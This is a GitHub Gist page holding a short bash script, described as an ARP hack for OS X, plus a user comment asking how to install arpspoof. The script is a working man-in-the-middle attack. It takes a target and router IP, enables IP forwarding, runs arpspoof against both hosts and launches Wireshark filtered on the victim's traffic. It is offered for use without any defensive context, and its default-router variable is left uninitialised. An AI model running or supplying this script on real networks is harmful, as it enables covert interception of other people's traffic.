Created
July 2, 2014 15:05
-
-
Save heruoxin/9f5ac589ed154a404723 to your computer and use it in GitHub Desktop.
Simple arp hack script on OS X. Install arpspoof and wireshark before using it.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#subset=`ifconfig en0 | grep 'inet ' | cut -d" " -f2 | cut -d"." -f1-3` | |
#echo "nmap -sP $subset.1/24" | |
#nmap -sP $subset.1/24 | |
#echo | |
while true; do | |
read -p "dst IP: " dstip | |
if ! [ -z $dstip ]; then | |
break | |
fi | |
done | |
read -p "Router IP: (default $subset.1)" routerip | |
if [ -z $routerip ]; then | |
echo "Use default." | |
routerip="$subset.1" | |
fi | |
myip=$(ifconfig en0 |grep 'inet ' | cut -d" " -f2) | |
echo "$routerip <===> $myip <===> $dstip" | |
echo | |
sudo sysctl -w net.inet.ip.forwarding=1 >> /dev/null | |
sudo sysctl -w net.inet.ip.fw.enable=1 >> /dev/null | |
sudo arpspoof -i en0 -t $dstip $routerip >> /dev/null & | |
sudo arpspoof -i en0 -t $routerip $dstip >> /dev/null & | |
echo -n "ip.src==$dstip or ip.dst==$dstip" | pbcopy | |
sleep 1 | |
sudo wireshark | |
sleep 1 | |
sudo killall arpspoof | |
sudo killall arpspoof | |
sudo killall arpspoof | |
sudo killall arpspoof | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
想问下在 OSX 下如何安装 arpspoof ?